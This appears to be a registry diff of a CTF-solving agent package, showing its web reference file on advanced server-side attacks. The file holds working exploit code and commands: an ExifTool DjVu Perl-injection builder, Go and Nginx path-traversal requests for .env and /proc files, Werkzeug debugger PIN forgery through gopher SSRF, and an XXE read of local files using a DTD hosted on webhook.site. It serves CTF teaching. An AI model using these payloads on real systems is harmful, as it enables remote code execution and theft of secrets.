ctf-agent 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (152) hide show
  1. package/AGENTS.md +131 -0
  2. package/Dockerfile +192 -0
  3. package/README.md +522 -0
  4. package/agents/ctf-analyzer.md +58 -0
  5. package/agents/ctf-controller.md +151 -0
  6. package/agents/ctf-speedrun.md +74 -0
  7. package/bin/ctf-agent.js +119 -0
  8. package/docker-compose.yml +13 -0
  9. package/mcp_config.json +19 -0
  10. package/package.json +44 -0
  11. package/references/ctf-triage-ladder.md +68 -0
  12. package/references/exploit-databases.md +575 -0
  13. package/references/llm-safety-and-policy-compliance.md +173 -0
  14. package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
  15. package/references/security-events-and-intelligence.md +566 -0
  16. package/references/version-matrix.md +59 -0
  17. package/rules/ctf-execution-rules.md +44 -0
  18. package/rules/ctf-safety-framing-rules.md +140 -0
  19. package/rules/flag-validation-rules.md +25 -0
  20. package/scripts/__init__.py +1 -0
  21. package/scripts/ctf-tools.lock +205 -0
  22. package/scripts/ctf_init.py +1026 -0
  23. package/scripts/ctf_update.py +583 -0
  24. package/scripts/ctfd_client.py +81 -0
  25. package/scripts/cve_lookup.py +453 -0
  26. package/scripts/extract_flags.py +155 -0
  27. package/scripts/install_as_agent.py +278 -0
  28. package/scripts/install_ctf_tools.sh +603 -0
  29. package/scripts/parallel_triage.py +395 -0
  30. package/scripts/prompt_policy_sanitizer.py +283 -0
  31. package/scripts/scope_guard.py +444 -0
  32. package/scripts/skill_validator.py +504 -0
  33. package/scripts/workspace_cleaner.py +141 -0
  34. package/skills/ctf-ai-ml/SKILL.md +120 -0
  35. package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
  36. package/skills/ctf-ai-ml/llm-attacks.md +487 -0
  37. package/skills/ctf-ai-ml/model-attacks.md +422 -0
  38. package/skills/ctf-crypto/SKILL.md +320 -0
  39. package/skills/ctf-crypto/advanced-math.md +798 -0
  40. package/skills/ctf-crypto/classic-ciphers.md +651 -0
  41. package/skills/ctf-crypto/ecc-attacks.md +347 -0
  42. package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
  43. package/skills/ctf-crypto/exotic-crypto.md +528 -0
  44. package/skills/ctf-crypto/historical.md +113 -0
  45. package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
  46. package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
  47. package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
  48. package/skills/ctf-crypto/modern-ciphers.md +649 -0
  49. package/skills/ctf-crypto/prng-attacks.md +257 -0
  50. package/skills/ctf-crypto/prng.md +664 -0
  51. package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
  52. package/skills/ctf-crypto/rsa-attacks.md +487 -0
  53. package/skills/ctf-crypto/stream-ciphers.md +390 -0
  54. package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
  55. package/skills/ctf-forensics/3d-printing.md +121 -0
  56. package/skills/ctf-forensics/SKILL.md +379 -0
  57. package/skills/ctf-forensics/disk-advanced.md +497 -0
  58. package/skills/ctf-forensics/disk-and-memory.md +491 -0
  59. package/skills/ctf-forensics/disk-recovery.md +699 -0
  60. package/skills/ctf-forensics/linux-forensics.md +511 -0
  61. package/skills/ctf-forensics/network-advanced.md +583 -0
  62. package/skills/ctf-forensics/network.md +645 -0
  63. package/skills/ctf-forensics/peripheral-capture.md +287 -0
  64. package/skills/ctf-forensics/signals-and-hardware.md +713 -0
  65. package/skills/ctf-forensics/steganography.md +694 -0
  66. package/skills/ctf-forensics/stego-advanced-2.md +475 -0
  67. package/skills/ctf-forensics/stego-advanced.md +481 -0
  68. package/skills/ctf-forensics/stego-image.md +691 -0
  69. package/skills/ctf-forensics/windows.md +625 -0
  70. package/skills/ctf-malware/SKILL.md +181 -0
  71. package/skills/ctf-malware/c2-and-protocols.md +274 -0
  72. package/skills/ctf-malware/pe-and-dotnet.md +108 -0
  73. package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
  74. package/skills/ctf-misc/SKILL.md +498 -0
  75. package/skills/ctf-misc/bashjails.md +323 -0
  76. package/skills/ctf-misc/ctfd-navigation.md +465 -0
  77. package/skills/ctf-misc/dns.md +255 -0
  78. package/skills/ctf-misc/encodings-advanced.md +504 -0
  79. package/skills/ctf-misc/encodings.md +431 -0
  80. package/skills/ctf-misc/games-and-vms-2.md +254 -0
  81. package/skills/ctf-misc/games-and-vms-3.md +690 -0
  82. package/skills/ctf-misc/games-and-vms-4.md +229 -0
  83. package/skills/ctf-misc/games-and-vms.md +529 -0
  84. package/skills/ctf-misc/linux-privesc.md +333 -0
  85. package/skills/ctf-misc/pyjails.md +671 -0
  86. package/skills/ctf-misc/rf-sdr.md +91 -0
  87. package/skills/ctf-osint/SKILL.md +198 -0
  88. package/skills/ctf-osint/geolocation-and-media.md +464 -0
  89. package/skills/ctf-osint/social-media.md +312 -0
  90. package/skills/ctf-osint/web-and-dns.md +341 -0
  91. package/skills/ctf-pwn/SKILL.md +214 -0
  92. package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
  93. package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
  94. package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
  95. package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
  96. package/skills/ctf-pwn/advanced-exploits.md +773 -0
  97. package/skills/ctf-pwn/advanced.md +326 -0
  98. package/skills/ctf-pwn/field-notes.md +245 -0
  99. package/skills/ctf-pwn/format-string.md +694 -0
  100. package/skills/ctf-pwn/heap-fsop.md +285 -0
  101. package/skills/ctf-pwn/heap-techniques-2.md +333 -0
  102. package/skills/ctf-pwn/heap-techniques.md +513 -0
  103. package/skills/ctf-pwn/kernel-bypass.md +421 -0
  104. package/skills/ctf-pwn/kernel-techniques.md +366 -0
  105. package/skills/ctf-pwn/kernel.md +636 -0
  106. package/skills/ctf-pwn/overflow-basics.md +611 -0
  107. package/skills/ctf-pwn/rop-advanced.md +725 -0
  108. package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
  109. package/skills/ctf-pwn/sandbox-escape.md +313 -0
  110. package/skills/ctf-reverse/SKILL.md +163 -0
  111. package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
  112. package/skills/ctf-reverse/anti-analysis.md +693 -0
  113. package/skills/ctf-reverse/field-notes.md +376 -0
  114. package/skills/ctf-reverse/languages-compiled.md +666 -0
  115. package/skills/ctf-reverse/languages-platforms.md +592 -0
  116. package/skills/ctf-reverse/languages.md +553 -0
  117. package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
  118. package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
  119. package/skills/ctf-reverse/patterns-ctf.md +670 -0
  120. package/skills/ctf-reverse/patterns-runtime.md +274 -0
  121. package/skills/ctf-reverse/patterns.md +572 -0
  122. package/skills/ctf-reverse/platforms-hardware.md +387 -0
  123. package/skills/ctf-reverse/platforms.md +664 -0
  124. package/skills/ctf-reverse/tools-advanced-2.md +421 -0
  125. package/skills/ctf-reverse/tools-advanced.md +407 -0
  126. package/skills/ctf-reverse/tools-dynamic.md +679 -0
  127. package/skills/ctf-reverse/tools-emulation.md +319 -0
  128. package/skills/ctf-reverse/tools.md +573 -0
  129. package/skills/ctf-web/SKILL.md +153 -0
  130. package/skills/ctf-web/auth-and-access-2.md +82 -0
  131. package/skills/ctf-web/auth-and-access.md +783 -0
  132. package/skills/ctf-web/auth-infra.md +321 -0
  133. package/skills/ctf-web/auth-jwt.md +186 -0
  134. package/skills/ctf-web/client-side-advanced.md +739 -0
  135. package/skills/ctf-web/client-side.md +529 -0
  136. package/skills/ctf-web/cves.md +373 -0
  137. package/skills/ctf-web/field-notes.md +482 -0
  138. package/skills/ctf-web/node-and-prototype.md +200 -0
  139. package/skills/ctf-web/server-side-2.md +337 -0
  140. package/skills/ctf-web/server-side-advanced-2.md +559 -0
  141. package/skills/ctf-web/server-side-advanced-3.md +125 -0
  142. package/skills/ctf-web/server-side-advanced-4.md +480 -0
  143. package/skills/ctf-web/server-side-advanced.md +378 -0
  144. package/skills/ctf-web/server-side-deser.md +443 -0
  145. package/skills/ctf-web/server-side-exec-2.md +799 -0
  146. package/skills/ctf-web/server-side-exec.md +457 -0
  147. package/skills/ctf-web/server-side.md +629 -0
  148. package/skills/ctf-web/sql-injection.md +790 -0
  149. package/skills/ctf-web/web3.md +374 -0
  150. package/skills/ctf-writeup/SKILL.md +90 -0
  151. package/skills/solve-challenge/SKILL.md +269 -0
  152. package/skills.json +16 -0
@@ -0,0 +1,378 @@
1
+ # CTF Web - Advanced Server-Side Techniques
2
+
3
+ ## Table of Contents
4
+ - [ExifTool CVE-2021-22204 — DjVu Perl Injection (0xFun 2026)](#exiftool-cve-2021-22204--djvu-perl-injection-0xfun-2026)
5
+ - [Go Rune/Byte Length Mismatch + Command Injection (VuwCTF 2025)](#go-runebyte-length-mismatch--command-injection-vuwctf-2025)
6
+ - [Zip Symlink Path Traversal (UTCTF 2024)](#zip-symlink-path-traversal-utctf-2024)
7
+ - [Path Traversal Bypass Techniques](#path-traversal-bypass-techniques)
8
+ - [Brace Stripping](#brace-stripping)
9
+ - [Double URL Encoding](#double-url-encoding)
10
+ - [Python os.path.join](#python-ospathjoin)
11
+ - [Nginx Alias Traversal to Leak .env (VolgaCTF 2018)](#nginx-alias-traversal-to-leak-env-volgactf-2018)
12
+ - [/dev/fd Symlink to Bypass /proc Filter (Google CTF 2017)](#devfd-symlink-to-bypass-proc-filter-google-ctf-2017)
13
+ - [Unicode Homoglyph Path Traversal U+2E2E (CSAW 2017)](#unicode-homoglyph-path-traversal-u2e2e-csaw-2017)
14
+ - [Ruby Regexp.escape Multibyte Character Bypass (Square CTF 2017)](#ruby-regexpescape-multibyte-character-bypass-square-ctf-2017)
15
+ - [Flask/Werkzeug Debug Mode Exploitation](#flaskwerkzeug-debug-mode-exploitation)
16
+ - [XXE with External DTD Filter Bypass](#xxe-with-external-dtd-filter-bypass)
17
+ - [Path Traversal: URL-Encoded Slash Bypass](#path-traversal-url-encoded-slash-bypass)
18
+
19
+ See also: [server-side-advanced-2.md](server-side-advanced-2.md) for Part 2 (SSRF-to-Docker, Castor XML, Apache ErrorDocument, SQLite path traversal, HQL non-breaking space, base64 path traversal, 8.3 short filename bypass, parse_url @ bypass, PHP zip:// LFI, XSS-to-SSTI, INSERT column shift, session cookie forgery). See also: [server-side-advanced-3.md](server-side-advanced-3.md) for Part 3 (WAV polyglot, multi-slash URL bypass, Xalan math:random, SoapClient CRLF, gopher no-host, SSRF credential leak). See also: [server-side-advanced-4.md](server-side-advanced-4.md) for Part 4 (WeasyPrint SSRF, MongoDB regex injection, Pongo2 SSTI, ZIP PHP webshell, basename() bypass, wget CRLF SMTP, Gopher→MySQL SQLi, React Server Components RCE, AMQP/TLS sslsplit, CairoSVG XXE, Bazaar repo reconstruction).
20
+
21
+ ---
22
+
23
+ ## ExifTool CVE-2021-22204 — DjVu Perl Injection (0xFun 2026)
24
+
25
+ **Affected:** ExifTool ≤ 12.23
26
+
27
+ **Vulnerability:** DjVu ANTa annotation chunk parsed with Perl `eval`.
28
+
29
+ **Craft minimal DjVu exploit:**
30
+ ```python
31
+ import struct
32
+
33
+ def make_djvu_exploit(command):
34
+ # ANTa chunk with Perl injection
35
+ ant_data = f'(metadata "\\c${{{command}}}")'.encode()
36
+
37
+ # INFO chunk (1x1 image)
38
+ info = struct.pack('>HHBBii', 1, 1, 24, 0, 300, 300)
39
+
40
+ # Build DJVU FORM
41
+ djvu_body = b'DJVU'
42
+ djvu_body += b'INFO' + struct.pack('>I', len(info)) + info
43
+ if len(info) % 2: djvu_body += b'\x00'
44
+ djvu_body += b'ANTa' + struct.pack('>I', len(ant_data)) + ant_data
45
+ if len(ant_data) % 2: djvu_body += b'\x00'
46
+
47
+ # FORM header
48
+ # AT&T = optional 4-byte prefix; FORM = IFF chunk type (separate fields)
49
+ djvu = b'AT&T' + b'FORM' + struct.pack('>I', len(djvu_body)) + djvu_body
50
+ return djvu
51
+
52
+ exploit = make_djvu_exploit("system('cat /flag.txt')")
53
+ with open('exploit.djvu', 'wb') as f:
54
+ f.write(exploit)
55
+ ```
56
+
57
+ **Detection:** Check ExifTool version. DjVu format is the classic vector. Upload the crafted DjVu to any endpoint that processes images with ExifTool.
58
+
59
+ ---
60
+
61
+ ## Go Rune/Byte Length Mismatch + Command Injection (VuwCTF 2025)
62
+
63
+ **Pattern (Go Go Cyber Ranger):** Go validates `len([]rune(input)) > 32` but copies `len([]byte(input))` bytes.
64
+
65
+ **Key insight:** Multi-byte UTF-8 chars (emoji = 4 bytes) count as 1 rune but 4 bytes → overflow.
66
+
67
+ **Exploit:** 8 emoji (32 bytes, 8 runes) + `";cmd\n"` = 40 bytes total, passes 32-rune check but overflows into adjacent buffer.
68
+
69
+ ```bash
70
+ # If flag check uses: exec.Command("/bin/sh", "-c", fmt.Sprintf("test \"%s\" = \"%s\"", flag, input))
71
+ # Inject 8 4-byte UTF-8 characters (\U0001F525) to trigger rune vs byte length overflow: ";od f*\n"
72
+ payload="$(python3 -c "print('\U0001F525'*8)")\";od f*\n"
73
+ curl -X POST http://target/check -d "secret=$payload"
74
+ ```
75
+
76
+ **Detection:** Go web app with length check on `[]rune` followed by byte-level operations (copy, buffer write). Always check for rune/byte mismatch in Go.
77
+
78
+ ---
79
+
80
+ ## Zip Symlink Path Traversal (UTCTF 2024)
81
+
82
+ **Pattern (Schrödinger):** Server extracts uploaded ZIP without checking symlinks.
83
+
84
+ ```bash
85
+ # Create symlink to target file, zip with -y to preserve
86
+ ln -s /path/to/flag.txt file.txt
87
+ zip -y exploit.zip file.txt
88
+ # Upload → server follows symlink → exposes file content
89
+ ```
90
+
91
+ **Detection:** Any upload+extract endpoint. `zip -y` preserves symlinks. Many zip extraction utilities follow symlinks by default.
92
+
93
+ ---
94
+
95
+ ## Path Traversal Bypass Techniques
96
+
97
+ ### Brace Stripping
98
+ `{.}{.}/flag.txt` → `../flag.txt` after processing
99
+
100
+ ### Double URL Encoding
101
+ `%252E%252E%252F` → `../` after two decode passes
102
+
103
+ ### Python os.path.join
104
+ `os.path.join('/app/public', '/etc/passwd')` → `/etc/passwd` (absolute path ignores prefix)
105
+
106
+ ---
107
+
108
+ ### Nginx Alias Traversal to Leak .env (VolgaCTF 2018)
109
+
110
+ **Pattern:** Nginx `alias` misconfiguration allows path traversal when a `location` block's path doesn't end with `/` but the `alias` does. The path remainder is appended unsafely, allowing `..` traversal out of the aliased directory.
111
+
112
+ ```nginx
113
+ # Vulnerable Nginx configuration:
114
+ location /laravel {
115
+ alias /var/www/html/public/;
116
+ }
117
+ # Note: /laravel has NO trailing slash, but alias has one
118
+ # This creates a join mismatch: /laravel<anything> maps to /var/www/html/public/<anything>
119
+ ```
120
+
121
+ ```bash
122
+ # Exploit: traverse out of the public/ directory to read .env
123
+ GET /laravel../.env HTTP/1.1
124
+ # Nginx resolves: alias "/var/www/html/public/" + "../.env" = /var/www/html/.env
125
+
126
+ # Read application source
127
+ GET /laravel../app/Http/Controllers/AuthController.php HTTP/1.1
128
+
129
+ # Read other config files
130
+ GET /laravel../config/database.php HTTP/1.1
131
+ GET /laravel../storage/logs/laravel.log HTTP/1.1
132
+ ```
133
+
134
+ ```python
135
+ import requests
136
+
137
+ target = "http://target"
138
+
139
+ # Leak Laravel .env file (contains APP_KEY, DB credentials, etc.)
140
+ r = requests.get(f"{target}/laravel../.env")
141
+ if r.status_code == 200:
142
+ print("[+] .env contents:")
143
+ print(r.text)
144
+ # Look for APP_KEY, DB_PASSWORD, API keys, etc.
145
+ ```
146
+
147
+ **Detection checklist:**
148
+ ```text
149
+ # Test for the misconfiguration on common paths:
150
+ /static../
151
+ /assets../
152
+ /public../
153
+ /media../
154
+ /uploads../
155
+ /laravel../
156
+ # Any location block using alias without matching trailing slashes
157
+ ```
158
+
159
+ **Key insight:** When an Nginx `location` directive lacks a trailing slash but its `alias` has one, the path is joined unsafely, allowing `..` traversal out of the aliased directory. This is a common misconfiguration in Laravel deployments where `/laravel` maps to the `public/` directory. Always check for trailing slash mismatches between `location` and `alias` directives.
160
+
161
+ ---
162
+
163
+ ## Unicode Homoglyph Path Traversal U+2E2E (CSAW 2017)
164
+
165
+ **Pattern:** U+2E2E (REVERSED QUESTION MARK, UTF-8: `E2 B8 AE`) normalizes to a period (U+002E, 0x2E) in some Python HTTP backends and Unicode normalization layers. Sending `%E2%B8%AE%E2%B8%AE/flag.txt` bypasses ASCII dot checks (`..` blocked) while the resolved path becomes `../flag.txt`.
166
+
167
+ ```bash
168
+ # Standard path traversal blocked by ASCII dot check:
169
+ curl "http://target/files/../../flag.txt" # blocked: contains ".."
170
+
171
+ # U+2E2E homoglyph bypass:
172
+ curl "http://target/files/%E2%B8%AE%E2%B8%AE/flag.txt"
173
+ # Backend normalizes E2B8AE → 0x2E (period), resolves as ../flag.txt
174
+ ```
175
+
176
+ ```python
177
+ import requests
178
+
179
+ # U+2E2E = REVERSED QUESTION MARK (⸮), UTF-8: 0xE2 0xB8 0xAE
180
+ # Normalizes to FULL STOP (.) in NFKC/NFC after some transformations
181
+
182
+ homoglyph_dot = '\u2E2E'
183
+ payload = f"{homoglyph_dot}{homoglyph_dot}/flag.txt"
184
+
185
+ r = requests.get(f"http://target/files/{payload}")
186
+ # If backend normalizes Unicode before filesystem access but after validation:
187
+ print(r.text)
188
+ ```
189
+
190
+ **Other Unicode dot homoglyphs to try:**
191
+ ```text
192
+ U+2E2E ⸮ REVERSED QUESTION MARK (E2 B8 AE) → .
193
+ U+FF0E . FULLWIDTH FULL STOP (EF BC 8E) → .
194
+ U+2024 ․ ONE DOT LEADER (E2 80 A4) → .
195
+ U+FE52 ﹒ SMALL FULL STOP (EF B9 92) → .
196
+ ```
197
+
198
+ **Key insight:** Unicode normalization inconsistencies between the validation layer and execution layer enable path traversal with non-ASCII dot homoglyphs. U+2E2E is a lesser-known alternative to fullwidth tricks (U+FF0E). Test normalization forms NFKC and NFC — Python's `unicodedata.normalize('NFKC', char)` reveals what each character collapses to.
199
+
200
+ ---
201
+
202
+ ## Ruby Regexp.escape Multibyte Character Bypass (Square CTF 2017)
203
+
204
+ **Pattern:** Ruby's `Regexp.escape` operates byte-by-byte. A `%bf` byte followed by `%5c` (backslash) forms a valid GBK/Big5 multibyte character, consuming the backslash. This leaves subsequent characters unescaped, breaking the intended regex escaping.
205
+
206
+ ```ruby
207
+ # Regexp.escape escapes special chars by prepending backslash
208
+ # e.g., Regexp.escape("a.b") → "a\\.b"
209
+
210
+ # Vulnerability: byte 0xBF followed by 0x5C (backslash) is a valid GBK character
211
+ # Regexp.escape sees 0xBF → not a special char, passes through
212
+ # Then sees 0x5C → escapes it to 0x5C 0x5C (double backslash)
213
+ # But in GBK: 0xBF 0x5C is ONE character (the lead byte absorbs the backslash)
214
+ # So the "escape" produces: 0xBF 0x5C 0x5C = GBK_char + 0x5C
215
+ # The second backslash then escapes the NEXT character, not the intended one
216
+
217
+ # Result: subsequent input characters become unescaped in the regex
218
+ ```
219
+
220
+ ```python
221
+ # In a CTF context: HTTP request with GBK lead byte in parameter
222
+ import requests
223
+
224
+ # %bf%5c in URL-encoded form — in GBK this is one character
225
+ # When Ruby calls Regexp.escape on the input, the backslash is consumed
226
+ payload = "\xbf\x5c" + ".*" # GBK char eats the backslash; .* is now unescaped in regex
227
+
228
+ r = requests.get("http://target/search", params={"q": payload})
229
+ # If backend uses: /#{Regexp.escape(params[:q])}/ as a regex pattern
230
+ # The .* passes through unescaped, matching any string
231
+ ```
232
+
233
+ **Exploitation scenario:**
234
+ ```ruby
235
+ # Vulnerable code:
236
+ pattern = /#{Regexp.escape(user_input)}/
237
+ if flag.match(pattern)
238
+ puts "Match!"
239
+ end
240
+
241
+ # Inject: "\xbf\x5c.*" → Regexp.escape produces "\xbf\\\\..*"
242
+ # In GBK context: first two bytes are one char, leaving ".*" unescaped
243
+ # Pattern becomes: /\xbf\\.*/ which in GBK matches the flag (greedy .*)
244
+ ```
245
+
246
+ **Key insight:** Byte-level escaping functions are vulnerable to multibyte character injection. A GBK/Big5 lead byte (0xBF) followed by 0x5C forms a valid single character, consuming the backslash that `Regexp.escape` just added. This leaves subsequent characters unescaped. Check for non-ASCII input handling in Ruby regex validation, especially when the application supports CJK character sets.
247
+
248
+ ---
249
+
250
+ ## /dev/fd Symlink to Bypass /proc Filter (Google CTF 2017)
251
+
252
+ **Pattern:** When an application filters `/proc` in file read parameters to prevent access to process information, `/dev/fd` provides an alternative path since it is a symlink to `/proc/self/fd` on Linux.
253
+
254
+ ```bash
255
+ # Bypass /proc filter to read environment variables
256
+ curl "http://target/?f=/dev/fd/../environ"
257
+ # /dev/fd -> /proc/self/fd, then ../ traverses to /proc/self/
258
+
259
+ # Read command line
260
+ curl "http://target/?f=/dev/fd/../cmdline"
261
+
262
+ # Read memory maps
263
+ curl "http://target/?f=/dev/fd/../maps"
264
+
265
+ # Read specific file descriptor contents
266
+ curl "http://target/?f=/dev/fd/0" # stdin
267
+ curl "http://target/?f=/dev/fd/1" # stdout
268
+ curl "http://target/?f=/dev/fd/3" # often a database or config file
269
+ ```
270
+
271
+ **Other /proc filter bypass paths:**
272
+ ```text
273
+ /dev/fd/../environ # → /proc/self/environ
274
+ /dev/fd/../cmdline # → /proc/self/cmdline
275
+ /dev/fd/../maps # → /proc/self/maps
276
+ /dev/fd/../status # → /proc/self/status
277
+ /dev/fd/../cwd/app.py # → /proc/self/cwd/app.py (working dir)
278
+ /dev/stdin/../environ # /dev/stdin → /proc/self/fd/0, then ../
279
+ ```
280
+
281
+ **Key insight:** `/dev/fd` is a symlink to `/proc/self/fd` on Linux. Traversing up with `../` reaches `/proc/self/`, bypassing blocklist checks for the literal string `/proc`. Similarly, `/dev/stdin`, `/dev/stdout`, and `/dev/stderr` link into `/proc/self/fd/` and can be used as traversal pivot points. Always test these alternatives when `/proc` is blacklisted.
282
+
283
+ ---
284
+
285
+ ## Flask/Werkzeug Debug Mode Exploitation
286
+
287
+ **Pattern (Meowy, Nullcon 2026):** Flask app with Werkzeug debugger enabled + weak session secret.
288
+
289
+ **Attack chain:**
290
+ 1. **Session secret brute-force:** When secret is generated from weak RNG (e.g., `random_word` library, short strings):
291
+ ```bash
292
+ flask-unsign --unsign --cookie "eyJ..." --wordlist wordlist.txt
293
+ # Or brute-force programmatically:
294
+ for word in wordlist:
295
+ try:
296
+ data = decode_flask_cookie(cookie, word)
297
+ print(f"Secret: {word}, Data: {data}")
298
+ except: pass
299
+ ```
300
+ 2. **Forge admin session:** Once secret is known, forge `is_admin=True`:
301
+ ```bash
302
+ flask-unsign --sign --cookie '{"is_admin": true}' --secret "found_secret"
303
+ ```
304
+ 3. **SSRF via pycurl:** If `/fetch` endpoint uses pycurl, target `http://127.0.0.1/admin/flag`
305
+ 4. **Header bypass:** Some endpoints check `X-Fetcher` or similar custom headers — include in SSRF request
306
+
307
+ **Werkzeug debugger RCE:** If `/console` is accessible:
308
+ 1. **Read system identifiers via SSRF:** `/etc/machine-id`, `/sys/class/net/eth0/address`
309
+ 2. **Get console SECRET:** Fetch `/console` page, extract `SECRET = "..."` from HTML
310
+ 3. **Compute PIN cookie:**
311
+ ```python
312
+ import hashlib
313
+ h = hashlib.sha1()
314
+ for bit in (username, "flask.app", "Flask", modfile, str(node), machine_id):
315
+ h.update(bit.encode() if isinstance(bit, str) else bit)
316
+ h.update(b"cookiesalt")
317
+ cookie_name = "__wzd" + h.hexdigest()[:20]
318
+ h.update(b"pinsalt")
319
+ num = f"{int(h.hexdigest(), 16):09d}"[:9]
320
+ pin = "-".join([num[:3], num[3:6], num[6:]])
321
+ pin_hash = hashlib.sha1(f"{pin} added salt".encode()).hexdigest()[:12]
322
+ ```
323
+ 4. **Execute via gopher SSRF:** If direct access is blocked, use gopher to send HTTP request with PIN cookie:
324
+ ```python
325
+ cookie = f"{cookie_name}={int(time.time())}|{pin_hash}"
326
+ req = f"GET /console?__debugger__=yes&cmd={cmd}&frm=0&s={secret} HTTP/1.1\r\nHost: 127.0.0.1:5000\r\nCookie: {cookie}\r\n\r\n"
327
+ gopher_url = "gopher://127.0.0.1:5000/_" + urllib.parse.quote(req)
328
+ # SSRF to gopher_url
329
+ ```
330
+
331
+ **Key insight:** Even when Werkzeug console is only reachable from localhost, the combination of SSRF + gopher protocol allows full PIN bypass and RCE. The PIN trust cookie authenticates the session without needing the actual PIN entry.
332
+
333
+ ---
334
+
335
+ ## XXE with External DTD Filter Bypass
336
+
337
+ **Pattern (PDFile, PascalCTF 2026):** Upload endpoint filters keywords ("file", "flag", "etc") in uploaded XML, but external DTD fetched via HTTP is NOT filtered.
338
+
339
+ **Technique:** Host malicious DTD on webhook.site or attacker server:
340
+ ```xml
341
+ <!-- Remote DTD (hosted on webhook.site) -->
342
+ <!ENTITY % data SYSTEM "file:///app/flag.txt">
343
+ <!ENTITY leak "%data;">
344
+ ```
345
+
346
+ ```xml
347
+ <!-- Uploaded XML (clean, passes filter) -->
348
+ <?xml version="1.0"?>
349
+ <!DOCTYPE book SYSTEM "http://webhook.site/TOKEN">
350
+ <book><title>&leak;</title></book>
351
+ ```
352
+
353
+ **Key insight:** XML parser fetches and processes external DTD without applying the upload keyword filter. Response includes flag in parsed field.
354
+
355
+ **Setup with webhook.site API:**
356
+ ```python
357
+ import requests
358
+ TOKEN = requests.post("https://webhook.site/token").json()["uuid"]
359
+ dtd = '<!ENTITY % d SYSTEM "file:///app/flag.txt"><!ENTITY leak "%d;">'
360
+ requests.put(f"https://webhook.site/token/{TOKEN}/request/...",
361
+ json={"default_content": dtd, "default_content_type": "text/xml"})
362
+ ```
363
+
364
+ ---
365
+
366
+ ## Path Traversal: URL-Encoded Slash Bypass
367
+
368
+ **`%2f` bypass:** Nginx route matching doesn't decode `%2f` but filesystem does:
369
+ ```bash
370
+ curl 'https://target/public%2f../nginx.conf'
371
+ # Nginx sees "/public%2f../nginx.conf" → matches /public/ route
372
+ # Filesystem resolves to /public/../nginx.conf → /nginx.conf
373
+ ```
374
+ **Also try:** `%2e` for dots, double encoding `%252f`, backslash `\` on Windows.
375
+
376
+ ---
377
+
378
+ See [server-side-advanced-4.md](server-side-advanced-4.md) for WeasyPrint SSRF, MongoDB regex injection, Pongo2 SSTI, ZIP PHP webshell, basename() bypass, wget CRLF SMTP, Gopher→MySQL SQLi, React Server Components RCE, AMQP/TLS interception, CairoSVG XXE, and Bazaar repo reconstruction.